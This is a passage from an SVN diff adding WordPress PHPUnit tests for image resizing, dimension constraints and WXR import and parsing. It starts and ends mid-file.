+		$this->assertEquals( 'error_getting_dimensions', $image->get_error_code() );
+	}
+
+	function test_resize_thumb_128x96() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 128, 96 );
+
+		$this->assertEquals( '2007-06-17DSC_4173-64x96.jpg', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 64, $w );
+		$this->assertEquals( 96, $h );
+		$this->assertEquals( IMAGETYPE_JPEG, $type );
+
+		unlink( $image );
+	}
+
+	function test_resize_thumb_128x0() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 128, 0 );
+
+		$this->assertEquals( '2007-06-17DSC_4173-128x193.jpg', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 128, $w );
+		$this->assertEquals( 193, $h );
+		$this->assertEquals( IMAGETYPE_JPEG, $type );
+
+		unlink( $image );
+	}
+
+	function test_resize_thumb_0x96() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 0, 96 );
+
+		$this->assertEquals( '2007-06-17DSC_4173-64x96.jpg', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 64, $w );
+		$this->assertEquals( 96, $h );
+		$this->assertEquals( IMAGETYPE_JPEG, $type );
+
+		unlink( $image );
+	}
+
+	function test_resize_thumb_150x150_crop() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 150, 150, true );
+
+		$this->assertEquals( '2007-06-17DSC_4173-150x150.jpg', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 150, $w );
+		$this->assertEquals( 150, $h );
+		$this->assertEquals( IMAGETYPE_JPEG, $type );
+
+		unlink( $image );
+	}
+
+	function test_resize_thumb_150x100_crop() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 150, 100, true );
+
+		$this->assertEquals( '2007-06-17DSC_4173-150x100.jpg', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 150, $w );
+		$this->assertEquals( 100, $h );
+		$this->assertEquals( IMAGETYPE_JPEG, $type );
+
+		unlink( $image );
+	}
+
+	function test_resize_thumb_50x150_crop() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 50, 150, true );
+
+		$this->assertEquals( '2007-06-17DSC_4173-50x150.jpg', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 50, $w );
+		$this->assertEquals( 150, $h );
+		$this->assertEquals( IMAGETYPE_JPEG, $type );
+
+		unlink( $image );
+	}
+
+	/**
+	 * Try resizing a non-existent image
+	 * @ticket 6821
+	 */
+	public function test_resize_non_existent_image() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/test-non-existent-image.jpg', 25, 25 );
+
+		$this->assertInstanceOf( 'WP_Error', $image );
+		$this->assertEquals( 'error_loading_image', $image->get_error_code() );
+	}
+
+	/**
+	 * Try resizing a php file (bad image)
+	 * @ticket 6821
+	 */
+	public function test_resize_bad_image() {
+
+		if ( $this->editor_engine == 'WP_Image_Editor_Imagick' ) {
+			$this->markTestSkipped( sprintf( 'Avoid GLib-GObject-CRITICAL assertion in %s', $this->editor_engine ) );
+			return;
+		}
+
+		$image = $this->resize_helper( DIR_TESTDATA.'/export/crazy-cdata.xml', 25, 25 );
+		$this->assertInstanceOf( 'WP_Error', $image );
+		$this->assertEquals( 'invalid_image', $image->get_error_code() );
+	}
+
+
+	/**
+	 * Function to help out the tests
+	 */
+	protected function resize_helper( $file, $width, $height, $crop = false ) {
+		$editor = wp_get_image_editor( $file );
+
+		if ( is_wp_error( $editor ) )
+			return $editor;
+
+		$resized = $editor->resize( $width, $height, $crop );
+		 if ( is_wp_error( $resized ) )
+			return $resized;
+
+		$dest_file = $editor->generate_filename();
+		$saved = $editor->save( $dest_file );
+
+		if ( is_wp_error( $saved ) )
+			return $saved;
+
+		return $dest_file;
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/image/resize_gd.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/image/resize_gd.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/image/resize_gd.php	(revision 33402)
@@ -0,0 +1,25 @@
+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ * @group resize
+ */
+require_once( dirname( __FILE__ ) . '/resize.php' );
+
+class Test_Image_Resize_GD extends WP_Tests_Image_Resize_UnitTestCase {
+
+	/**
+	 * Use the GD image editor engine
+	 * @var string
+	 */
+	public $editor_engine = 'WP_Image_Editor_GD';
+
+	public function setUp() {
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor-gd.php' );
+
+		parent::setUp();
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/image/resize_imagick.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/image/resize_imagick.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/image/resize_imagick.php	(revision 33402)
@@ -0,0 +1,25 @@
+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ * @group resize
+ */
+require_once( dirname( __FILE__ ) . '/resize.php' );
+
+class Test_Image_Resize_Imagick extends WP_Tests_Image_Resize_UnitTestCase {
+
+	/**
+	 * Use the Imagick image editor engine
+	 * @var string
+	 */
+	public $editor_engine = 'WP_Image_Editor_Imagick';
+
+	public function setUp() {
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor-imagick.php' );
+
+		parent::setUp();
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/image/size.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/image/size.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/image/size.php	(revision 33402)
@@ -0,0 +1,227 @@
+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Tests_Image_Size extends WP_UnitTestCase {
+
+	function test_constrain_dims_zero() {
+		if (!is_callable('wp_constrain_dimensions'))
+			$this->markTestSkipped('wp_constrain_dimensions() is not callable.');
+
+		// no constraint - should have no effect
+		$out = wp_constrain_dimensions(640, 480, 0, 0);
+		$this->assertSame( array( 640, 480 ), $out );
+
+		$out = wp_constrain_dimensions(640, 480);
+		$this->assertSame( array( 640, 480 ), $out );
+
+		$out = wp_constrain_dimensions(0, 0, 0, 0);
+		$this->assertSame( array( 0, 0 ), $out );
+
+		$out = wp_constrain_dimensions(465, 700, 177, 177);
+		$this->assertSame( array( 118, 177 ), $out );
+	}
+
+	function test_constrain_dims_smaller() {
+		if (!is_callable('wp_constrain_dimensions'))
+			$this->markTestSkipped('wp_constrain_dimensions() is not callable.');
+
+		// image size is smaller than the constraint - no effect
+		$out = wp_constrain_dimensions(500, 600, 1024, 768);
+		$this->assertSame( array( 500, 600 ), $out );
+
+		$out = wp_constrain_dimensions(500, 600, 0, 768);
+		$this->assertSame( array( 500, 600 ), $out );
+
+		$out = wp_constrain_dimensions(500, 600, 1024, 0);
+		$this->assertSame( array( 500, 600 ), $out );
+	}
+
+	function test_constrain_dims_equal() {
+		if (!is_callable('wp_constrain_dimensions'))
+			$this->markTestSkipped('wp_constrain_dimensions() is not callable.');
+
+		// image size is equal to the constraint - no effect
+		$out = wp_constrain_dimensions(1024, 768, 1024, 768);
+		$this->assertSame( array( 1024, 768 ), $out );
+
+		$out = wp_constrain_dimensions(1024, 768, 0, 768);
+		$this->assertSame( array( 1024, 768 ), $out );
+
+		$out = wp_constrain_dimensions(1024, 768, 1024, 0);
+		$this->assertSame( array( 1024, 768 ), $out );
+	}
+
+	function test_constrain_dims_larger() {
+		if (!is_callable('wp_constrain_dimensions'))
+			$this->markTestSkipped('wp_constrain_dimensions() is not callable.');
+
+		// image size is larger than the constraint - result should be constrained
+		$out = wp_constrain_dimensions(1024, 768, 500, 600);
+		$this->assertSame( array( 500, 375 ), $out );
+
+		$out = wp_constrain_dimensions(1024, 768, 0, 600);
+		$this->assertSame( array( 800, 600 ), $out );
+
+		$out = wp_constrain_dimensions(1024, 768, 500, 0);
+		$this->assertSame( array( 500, 375 ), $out );
+
+		// also try a portrait oriented image
+		$out = wp_constrain_dimensions(300, 800, 500, 600);
+		$this->assertSame( array( 225, 600 ), $out );
+
+		$out = wp_constrain_dimensions(300, 800, 0, 600);
+		$this->assertSame( array( 225, 600 ), $out );
+
+		$out = wp_constrain_dimensions(300, 800, 200, 0);
+		$this->assertSame( array( 200, 533 ), $out );
+	}
+
+	function test_constrain_dims_boundary() {
+		if (!is_callable('wp_constrain_dimensions'))
+			$this->markTestSkipped('wp_constrain_dimensions() is not callable.');
+
+		// one dimension is larger than the constraint, one smaller - result should be constrained
+		$out = wp_constrain_dimensions(1024, 768, 500, 800);
+		$this->assertSame( array( 500, 375 ), $out );
+
+		$out = wp_constrain_dimensions(1024, 768, 2000, 700);
+		$this->assertSame( array( 933, 700 ), $out );
+
+		// portrait
+		$out = wp_constrain_dimensions(768, 1024, 800, 500);
+		$this->assertSame( array( 375, 500 ), $out );
+
+		$out = wp_constrain_dimensions(768, 1024, 2000, 700);
+		$this->assertSame( array( 525, 700 ), $out );
+	}
+
+	/**
+	 * @expectedDeprecated wp_shrink_dimensions
+	 */
+	function test_shrink_dimensions_default() {
+		$out = wp_shrink_dimensions(640, 480);
+		$this->assertSame( array( 128, 96 ), $out );
+
+		$out = wp_shrink_dimensions(480, 640);
+		$this->assertSame( array( 72, 96 ), $out );
+	}
+
+	/**
+	 * @expectedDeprecated wp_shrink_dimensions
+	 */
+	function test_shrink_dimensions_smaller() {
+		// image size is smaller than the constraint - no effect
+		$out = wp_shrink_dimensions(500, 600, 1024, 768);
+		$this->assertSame( array( 500, 600 ), $out );
+
+		$out = wp_shrink_dimensions(600, 500, 1024, 768);
+		$this->assertSame( array( 600, 500 ), $out );
+	}
+
+	/**
+	 * @expectedDeprecated wp_shrink_dimensions
+	 */
+	function test_shrink_dimensions_equal() {
+		// image size is equal to the constraint - no effect
+		$out = wp_shrink_dimensions(500, 600, 500, 600);
+		$this->assertSame( array( 500, 600 ), $out );
+
+		$out = wp_shrink_dimensions(600, 500, 600, 500);
+		$this->assertSame( array( 600, 500 ), $out );
+	}
+
+	/**
+	 * @expectedDeprecated wp_shrink_dimensions
+	 */
+	function test_shrink_dimensions_larger() {
+		// image size is larger than the constraint - result should be constrained
+		$out = wp_shrink_dimensions(1024, 768, 500, 600);
+		$this->assertSame( array( 500, 375 ), $out );
+
+		$out = wp_shrink_dimensions(300, 800, 500, 600);
+		$this->assertSame( array( 225, 600 ), $out );
+	}
+
+	/**
+	 * @expectedDeprecated wp_shrink_dimensions
+	 */
+	function test_shrink_dimensions_boundary() {
+		// one dimension is larger than the constraint, one smaller - result should be constrained
+		$out = wp_shrink_dimensions(1024, 768, 500, 800);
+		$this->assertSame( array( 500, 375 ), $out );
+
+		$out = wp_shrink_dimensions(1024, 768, 2000, 700);
+		$this->assertSame( array( 933, 700 ), $out );
+
+		// portrait
+		$out = wp_shrink_dimensions(768, 1024, 800, 500);
+		$this->assertSame( array( 375, 500 ), $out );
+
+		$out = wp_shrink_dimensions(768, 1024, 2000, 700);
+		$this->assertSame( array( 525, 700 ), $out );
+	}
+
+	function test_constrain_size_for_editor_thumb() {
+		$out = image_constrain_size_for_editor(600, 400, 'thumb');
+		$this->assertSame( array( 150, 100 ), $out );
+
+		$out = image_constrain_size_for_editor(64, 64, 'thumb');
+		$this->assertSame( array( 64, 64 ), $out );
+	}
+
+	function test_constrain_size_for_editor_medium() {
+		// default max width is 500, no constraint on height
+		global $content_width;
+
+		$_content_width = $content_width;
+
+		$content_width = 0;
+		update_option('medium_size_w', 500);
+		update_option('medium_size_h', 0);
+
+		$out = image_constrain_size_for_editor(600, 400, 'medium');
+		$this->assertSame( array( 500, 333 ), $out );
+
+		$out = image_constrain_size_for_editor(400, 600, 'medium');
+		$this->assertSame( array( 400, 600 ), $out );
+
+		$out = image_constrain_size_for_editor(64, 64, 'medium');
+		$this->assertSame( array( 64, 64 ), $out );
+
+		// content_width should be ignored
+		$content_width = 350;
+		$out = image_constrain_size_for_editor(600, 400, 'medium');
+		$this->assertSame( array( 500, 333 ), $out );
+
+		$content_width = $_content_width;
+	}
+
+	function test_constrain_size_for_editor_full() {
+		global $content_width;
+
+		$_content_width = $content_width;
+
+		$content_width = 400;
+		$out = image_constrain_size_for_editor(600, 400, 'full');
+		$this->assertSame( array( 600, 400 ), $out );
+
+		$out = image_constrain_size_for_editor(64, 64, 'full');
+		$this->assertSame( array( 64, 64 ), $out );
+
+		// content_width default is 500
+		$content_width = 0;
+
+		$out = image_constrain_size_for_editor(600, 400, 'full');
+		$this->assertSame( array( 600, 400 ), $out );
+
+		$out = image_constrain_size_for_editor(64, 64, 'full');
+		$this->assertSame( array( 64, 64 ), $out );
+
+		$content_width = $_content_width;
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/import/base.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/import/base.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/import/base.php	(revision 33402)
@@ -0,0 +1,53 @@
+<?php
+
+abstract class WP_Import_UnitTestCase extends WP_UnitTestCase {
+	/**
+	 * Import a WXR file.
+	 *
+	 * The $users parameter provides information on how users specified in the import
+	 * file should be imported. Each key is a user login name and indicates if the user
+	 * should be mapped to an existing user, created as a new user with a particular login
+	 * or imported with the information held in the WXR file. An example of this:
+	 *
+	 * <code>
+	 * $users = array(
+	 *   'alice' => 1, // alice will be mapped to user ID 1
+	 *   'bob' => 'john', // bob will be transformed into john
+	 *   'eve' => false // eve will be imported as is
+	 * );</code>
+	 *
+	 * @param string $filename Full path of the file to import
+	 * @param array $users User import settings
+	 * @param bool $fetch_files Whether or not do download remote attachments
+	 */
+	protected function _import_wp( $filename, $users = array(), $fetch_files = true ) {
+		$importer = new WP_Import();
+		$file = realpath( $filename );
+		assert('!empty($file)');
+		assert('is_file($file)');
+
+		$authors = $mapping = $new = array();
+		$i = 0;
+
+		// each user is either mapped to a given ID, mapped to a new user
+		// with given login or imported using details in WXR file
+		foreach ( $users as $user => $map ) {
+			$authors[$i] = $user;
+			if ( is_int( $map ) )
+				$mapping[$i] = $map;
+			else if ( is_string( $map ) )
+				$new[$i] = $map;
+
+			$i++;
+		}
+
+		$_POST = array( 'imported_authors' => $authors, 'user_map' => $mapping, 'user_new' => $new );
+
+		ob_start();
+		$importer->fetch_attachments = $fetch_files;
+		$importer->import( $file );
+		ob_end_clean();
+
+		$_POST = array();
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/import/import.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/import/import.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/import/import.php	(revision 33402)
@@ -0,0 +1,251 @@
+<?php
+
+/**
+ * @group import
+ */
+class Tests_Import_Import extends WP_Import_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+
+		if ( ! defined( 'WP_IMPORTING' ) )
+			define( 'WP_IMPORTING', true );
+
+		if ( ! defined( 'WP_LOAD_IMPORTERS' ) )
+			define( 'WP_LOAD_IMPORTERS', true );
+
+		add_filter( 'import_allow_create_users', '__return_true' );
+
+		if ( ! file_exists( DIR_TESTDATA . '/plugins/wordpress-importer/wordpress-importer.php' ) ) {
+			$this->markTestSkipped( 'WordPress Importer plugin is not installed.' );
+		}
+
+		require_once DIR_TESTDATA . '/plugins/wordpress-importer/wordpress-importer.php';
+
+		global $wpdb;
+		// crude but effective: make sure there's no residual data in the main tables
+		foreach ( array('posts', 'postmeta', 'comments', 'terms', 'term_taxonomy', 'term_relationships', 'users', 'usermeta') as $table)
+			$wpdb->query("DELETE FROM {$wpdb->$table}");
+	}
+
+	function tearDown() {
+		remove_filter( 'import_allow_create_users', '__return_true' );
+
+		parent::tearDown();
+	}
+
+	function test_small_import() {
+		global $wpdb;
+
+		$authors = array( 'admin' => false, 'editor' => false, 'author' => false );
+		$this->_import_wp( DIR_TESTDATA . '/export/small-export.xml', $authors );
+
+		// ensure that authors were imported correctly
+		$user_count = count_users();
+		$this->assertEquals( 3, $user_count['total_users'] );
+		$admin = get_user_by( 'login', 'admin' );
+		$this->assertEquals( 'admin', $admin->user_login );
+		$this->assertEquals( 'local@host.null', $admin->user_email );
+		$editor = get_user_by( 'login', 'editor' );
+		$this->assertEquals( 'editor', $editor->user_login );
+		$this->assertEquals( 'editor@example.org', $editor->user_email );
+		$this->assertEquals( 'FirstName', $editor->user_firstname );
+		$this->assertEquals( 'LastName', $editor->user_lastname );
+		$author = get_user_by( 'login', 'author' );
+		$this->assertEquals( 'author', $author->user_login );
+		$this->assertEquals( 'author@example.org', $author->user_email );
+
+		// check that terms were imported correctly
+		$this->assertEquals( 30, wp_count_terms( 'category' ) );
+		$this->assertEquals( 3, wp_count_terms( 'post_tag' ) );
+		$foo = get_term_by( 'slug', 'foo', 'category' );
+		$this->assertEquals( 0, $foo->parent );
+		$bar = get_term_by( 'slug', 'bar', 'category' );
+		$foo_bar = get_term_by( 'slug', 'foo-bar', 'category' );
+		$this->assertEquals( $bar->term_id, $foo_bar->parent );
+
+		// check that posts/pages were imported correctly
+		$post_count = wp_count_posts( 'post' );
+		$this->assertEquals( 5, $post_count->publish );
+		$this->assertEquals( 1, $post_count->private );
+		$page_count = wp_count_posts( 'page' );
+		$this->assertEquals( 4, $page_count->publish );
+		$this->assertEquals( 1, $page_count->draft );
+		$comment_count = wp_count_comments();
+		$this->assertEquals( 1, $comment_count->total_comments );
+
+		$posts = get_posts( array( 'numberposts' => 20, 'post_type' => 'any', 'post_status' => 'any', 'orderby' => 'ID' ) );
+		$this->assertEquals( 11, count($posts) );
+
+		$post = $posts[0];
+		$this->assertEquals( 'Many Categories', $post->post_title );
+		$this->assertEquals( 'many-categories', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'post', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$cats = wp_get_post_categories( $post->ID );
+		$this->assertEquals( 27, count($cats) );
+
+		$post = $posts[1];
+		$this->assertEquals( 'Non-standard post format', $post->post_title );
+		$this->assertEquals( 'non-standard-post-format', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'post', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$cats = wp_get_post_categories( $post->ID );
+		$this->assertEquals( 1, count($cats) );
+		$this->assertTrue( has_post_format( 'aside', $post->ID ) );
+
+		$post = $posts[2];
+		$this->assertEquals( 'Top-level Foo', $post->post_title );
+		$this->assertEquals( 'top-level-foo', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'post', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$cats = wp_get_post_categories( $post->ID, array( 'fields' => 'all' ) );
+		$this->assertEquals( 1, count($cats) );
+		$this->assertEquals( 'foo', $cats[0]->slug );
+
+		$post = $posts[3];
+		$this->assertEquals( 'Foo-child', $post->post_title );
+		$this->assertEquals( 'foo-child', $post->post_name );
+		$this->assertEquals( $editor->ID, $post->post_author );
+		$this->assertEquals( 'post', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$cats = wp_get_post_categories( $post->ID, array( 'fields' => 'all' ) );
+		$this->assertEquals( 1, count($cats) );
+		$this->assertEquals( 'foo-bar', $cats[0]->slug );
+
+		$post = $posts[4];
+		$this->assertEquals( 'Private Post', $post->post_title );
+		$this->assertEquals( 'private-post', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'post', $post->post_type );
+		$this->assertEquals( 'private', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$cats = wp_get_post_categories( $post->ID );
+		$this->assertEquals( 1, count($cats) );
+		$tags = wp_get_post_tags( $post->ID );
+		$this->assertEquals( 3, count($tags) );
+		$this->assertEquals( 'tag1', $tags[0]->slug );
+		$this->assertEquals( 'tag2', $tags[1]->slug );
+		$this->assertEquals( 'tag3', $tags[2]->slug );
+
+		$post = $posts[5];
+		$this->assertEquals( '1-col page', $post->post_title );
+		$this->assertEquals( '1-col-page', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'page', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$this->assertEquals( 'onecolumn-page.php', get_post_meta( $post->ID, '_wp_page_template', true ) );
+
+		$post = $posts[6];
+		$this->assertEquals( 'Draft Page', $post->post_title );
+		$this->assertEquals( '', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'page', $post->post_type );
+		$this->assertEquals( 'draft', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$this->assertEquals( 'default', get_post_meta( $post->ID, '_wp_page_template', true ) );
+
+		$post = $posts[7];
+		$this->assertEquals( 'Parent Page', $post->post_title );
+		$this->assertEquals( 'parent-page', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'page', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$this->assertEquals( 'default', get_post_meta( $post->ID, '_wp_page_template', true ) );
+
+		$post = $posts[8];
+		$this->assertEquals( 'Child Page', $post->post_title );
+		$this->assertEquals( 'child-page', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'page', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( $posts[7]->ID, $post->post_parent );
+		$this->assertEquals( 'default', get_post_meta( $post->ID, '_wp_page_template', true ) );
+
+		$post = $posts[9];
+		$this->assertEquals( 'Sample Page', $post->post_title );
+		$this->assertEquals( 'sample-page', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'page', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$this->assertEquals( 'default', get_post_meta( $post->ID, '_wp_page_template', true ) );
+
+		$post = $posts[10];
+		$this->assertEquals( 'Hello world!', $post->post_title );
+		$this->assertEquals( 'hello-world', $post->post_name );
+		$this->assertEquals( $author->ID, $post->post_author );
+		$this->assertEquals( 'post', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$cats = wp_get_post_categories( $post->ID );
+		$this->assertEquals( 1, count($cats) );
+	}
+
+	function test_double_import() {
+		$authors = array( 'admin' => false, 'editor' => false, 'author' => false );
+		$this->_import_wp( DIR_TESTDATA . '/export/small-export.xml', $authors );
+		$this->_import_wp( DIR_TESTDATA . '/export/small-export.xml', $authors );
+
+		$user_count = count_users();
+		$this->assertEquals( 3, $user_count['total_users'] );
+		$admin = get_user_by( 'login', 'admin' );
+		$this->assertEquals( 'admin', $admin->user_login );
+		$this->assertEquals( 'local@host.null', $admin->user_email );
+		$editor = get_user_by( 'login', 'editor' );
+		$this->assertEquals( 'editor', $editor->user_login );
+		$this->assertEquals( 'editor@example.org', $editor->user_email );
+		$this->assertEquals( 'FirstName', $editor->user_firstname );
+		$this->assertEquals( 'LastName', $editor->user_lastname );
+		$author = get_user_by( 'login', 'author' );
+		$this->assertEquals( 'author', $author->user_login );
+		$this->assertEquals( 'author@example.org', $author->user_email );
+
+		$this->assertEquals( 30, wp_count_terms( 'category' ) );
+		$this->assertEquals( 3, wp_count_terms( 'post_tag' ) );
+		$foo = get_term_by( 'slug', 'foo', 'category' );
+		$this->assertEquals( 0, $foo->parent );
+		$bar = get_term_by( 'slug', 'bar', 'category' );
+		$foo_bar = get_term_by( 'slug', 'foo-bar', 'category' );
+		$this->assertEquals( $bar->term_id, $foo_bar->parent );
+
+		$post_count = wp_count_posts( 'post' );
+		$this->assertEquals( 5, $post_count->publish );
+		$this->assertEquals( 1, $post_count->private );
+		$page_count = wp_count_posts( 'page' );
+		$this->assertEquals( 4, $page_count->publish );
+		$this->assertEquals( 1, $page_count->draft );
+		$comment_count = wp_count_comments();
+		$this->assertEquals( 1, $comment_count->total_comments );
+	}
+
+	function test_ordering_of_importers() {
+		global $wp_importers;
+		$_wp_importers = $wp_importers; // Preserve global state
+		$wp_importers = array(
+			'xyz1' => array( 'xyz1' ),
+			'XYZ2' => array( 'XYZ2' ),
+			'abc2' => array( 'abc2' ),
+			'ABC1' => array( 'ABC1' ),
+			'def1' => array( 'def1' ),
+		);
+		$this->assertEquals( array(
+			'ABC1' => array( 'ABC1' ),
+			'abc2' => array( 'abc2' ),
+			'def1' => array( 'def1' ),
+			'xyz1' => array( 'xyz1' ),
+			'XYZ2' => array( 'XYZ2' ),
+		), get_importers() );
+		$wp_importers = $_wp_importers; // Restore global state
+	}
+
+	// function test_menu_import
+}
Index: /tags/4.1.6/tests/phpunit/tests/import/parser.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/import/parser.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/import/parser.php	(revision 33402)
@@ -0,0 +1,196 @@
+<?php
+
+/**
+ * @group import
+ */
+class Tests_Import_Parser extends WP_Import_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+
+		if ( ! defined( 'WP_IMPORTING' ) )
+			define( 'WP_IMPORTING', true );
+
+		if ( ! defined( 'WP_LOAD_IMPORTERS' ) )
+			define( 'WP_LOAD_IMPORTERS', true );
+
+		if ( ! file_exists( DIR_TESTDATA . '/plugins/wordpress-importer/wordpress-importer.php' ) ) {
+			$this->markTestSkipped( 'WordPress Importer plugin is not installed.' );
+		}
+
+		require_once DIR_TESTDATA . '/plugins/wordpress-importer/wordpress-importer.php';
+	}
+
+	function test_malformed_wxr() {
+		$file = DIR_TESTDATA . '/export/malformed.xml';
+
+		// regex based parser cannot detect malformed XML
+		foreach ( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML' ) as $p ) {
+			$parser = new $p;
+			$result = $parser->parse($file);
+			$this->assertTrue( is_wp_error( $result ) );
+			$this->assertEquals( 'There was an error when reading this WXR file', $result->get_error_message() );
+		}
+	}
+
+	function test_invalid_wxr() {
+		$f1 = DIR_TESTDATA . '/export/missing-version-tag.xml';
+		$f2 = DIR_TESTDATA . '/export/invalid-version-tag.xml';
+
+		foreach ( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML', 'WXR_Parser_Regex' ) as $p ) {
+			foreach ( array( $f1, $f2 ) as $file ) {
+				$parser = new $p;
+				$result = $parser->parse( $file );
+				$this->assertTrue( is_wp_error( $result ) );
+				$this->assertEquals( 'This does not appear to be a WXR file, missing/invalid WXR version number', $result->get_error_message() );
+			}
+		}
+	}
+
+	function test_wxr_version_1_1() {
+		$file = DIR_TESTDATA . '/export/valid-wxr-1.1.xml';
+
+		foreach ( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML', 'WXR_Parser_Regex' ) as $p ) {
+			$message = $p . ' failed';
+			$parser = new $p;
+			$result = $parser->parse( $file );
+
+			$this->assertTrue( is_array( $result ), $message );
+			$this->assertEquals( 'http://localhost/', $result['base_url'], $message );
+			$this->assertEquals( array(
+				'author_id' => 2,
+				'author_login' => 'john',
+				'author_email' => 'johndoe@example.org',
+				'author_display_name' => 'John Doe',
+				'author_first_name' => 'John',
+				'author_last_name' => 'Doe'
+			), $result['authors']['john'], $message );
+			$this->assertEquals( array(
+				'term_id' => 3,
+				'category_nicename' => 'alpha',
+				'category_parent' => '',
+				'cat_name' => 'alpha',
+				'category_description' => 'The alpha category'
+			), $result['categories'][0], $message );
+			$this->assertEquals( array(
+				'term_id' => 22,
+				'tag_slug' => 'clippable',
+				'tag_name' => 'Clippable',
+				'tag_description' => 'The Clippable post_tag'
+			), $result['tags'][0], $message );
+			$this->assertEquals( array(
+				'term_id' => 40,
+				'term_taxonomy' => 'post_tax',
+				'slug' => 'bieup',
+				'term_parent' => '',
+				'term_name' => 'bieup',
+				'term_description' => 'The bieup post_tax'
+			), $result['terms'][0], $message );
+
+			$this->assertEquals( 2, count($result['posts']), $message );
+			$this->assertEquals( 19, count($result['posts'][0]), $message );
+			$this->assertEquals( 18, count($result['posts'][1]), $message );
+			$this->assertEquals( array(
+				array( 'name' => 'alpha', 'slug' => 'alpha', 'domain' => 'category' ),
+				array( 'name' => 'Clippable', 'slug' => 'clippable', 'domain' => 'post_tag' ),
+				array( 'name' => 'bieup', 'slug' => 'bieup', 'domain' => 'post_tax' )
+			), $result['posts'][0]['terms'], $message );
+			$this->assertEquals( array(
+				array( 'key' => '_wp_page_template', 'value' => 'default' )
+			), $result['posts'][1]['postmeta'], $message );
+		}
+	}
+
+	function test_wxr_version_1_0() {
+		$file = DIR_TESTDATA . '/export/valid-wxr-1.0.xml';
+
+		foreach ( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML', 'WXR_Parser_Regex' ) as $p ) {
+			$message = $p . ' failed';
+			$parser = new $p;
+			$result = $parser->parse( $file );
+
+			$this->assertTrue( is_array( $result ), $message );
+			$this->assertEquals( 'http://localhost/', $result['base_url'], $message );
+			$this->assertEquals( $result['categories'][0]['category_nicename'], 'alpha', $message );
+			$this->assertEquals( $result['categories'][0]['cat_name'], 'alpha', $message );
+			$this->assertEquals( $result['categories'][0]['category_parent'], '', $message );
